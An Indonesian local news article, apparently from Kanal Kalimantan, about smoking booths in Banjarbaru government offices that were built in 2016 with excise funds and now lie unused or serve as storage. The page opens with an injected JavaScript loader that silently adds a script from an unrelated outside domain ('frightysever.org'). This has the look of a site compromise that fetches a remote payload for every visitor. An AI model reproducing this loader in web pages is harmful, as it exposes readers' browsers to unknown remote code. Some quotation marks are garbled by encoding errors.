(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pada tahun 2016 Pemkot Banjarbaru, melalui Dinas Kesehatan (Dinkes) membangun lima unit bilik merokok alias smoking area. Dua dari lima bilik merokok yang dibangun menggunakan dana bagi hasil cukai rokok, kiriman pemerintah pusat ini ada di lingkungan balaikota.
Sejatinya Balaikota ingin dijadikan wilayah perkantoran steril dari asap rokok menjadi dasar utama pembangunan bilik berukuran sekitar 3×3 meter ini.
Mirisnya, keberadaan bilik merokok menjadi ‘berhala’ hanya habiskan anggaran semata. Lantaran, sejak rampung dibangun, ruang khusus merokok itu nganggur. Ironisnya lagi, bilik beralih fungsi menjadi sebuah gudang. Pantauan Kanal Kalimantan sejumlah tumpukan kardus bekas menggunung di dalam bilik.
Terkait keberadaan bilik merokok yang menjadi ‘berhala’, Maulidah, Kepala Seksi (Kasi) Pengendalian Penyakit Tidak Menular dan Kesehatan Jiwa Dinkes Kota Banjarbaru membenarkan, pembangunan lima bilik merokok dilaksanakan oleh Dinkes Kota Banjarbaru melalui dana bagi hasil cukai rokok pemerintah pusat dua tahun lalu.
“Selain di Kantor Sekretariat Daerah, bilik merokok juga dibangun di Kantor Dinas Kependudukan dan Pencatatan Sipil, dan di lingkungan Kantor Dinas Komunikasi dan Informatika,†kata Maulidah.
Namun terkait alih fungsi bilik untuk peruntukan lain, termasuk gudang, Maulidah mengatakan, Dinkes angkat tangan. Menurutnya, kewenangan Dinas Kesehatan hanya di tahap pembangunan. Karena setelah serah terima aset dilakukan, kewenangan ada di masing-masing Satuan Kerja Perangkat Daerah (SKPD) tempat bilik merokok berada.
“Bilik merokok yang ada di lingkungan Dinas Komunikasi dan Informatika jika tidak salah juga beralih fungsi menjadi ruang siar. Karena sebelumnya sempat konsultasi ke kami untuk menggunakan ruangan bilik merokok untuk peruntukan lain. Namun karena kewenangan sebatas di tahap pembangunan, Dinkes tidak dapat bisa mengeluarkan rekomendasi untuk itu,†kata Maulidah.
Diakuinya, keberadaan bilik merokok sebagai upaya meminimalisir dampak buruk asap rokok di lingkungan kantor pemerintahan sempat disampaikan ke pemerintah pusat, dalam hal ini Kementerian Kesehatan RI. Namun berdasarkan berdasarkan arahan kementerian, konsep tepat mengurangi dampak buruk asap rokok justru dengan pola ruang terbuka.
Dengan catatan, kata Maulidah, di sekitar ruang terbuka tempat orang merokok tersebut banyak tumbuh pepohonan yang dapat mengubah bahaya dari asap rokok menjadi oksigen. (devi)
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.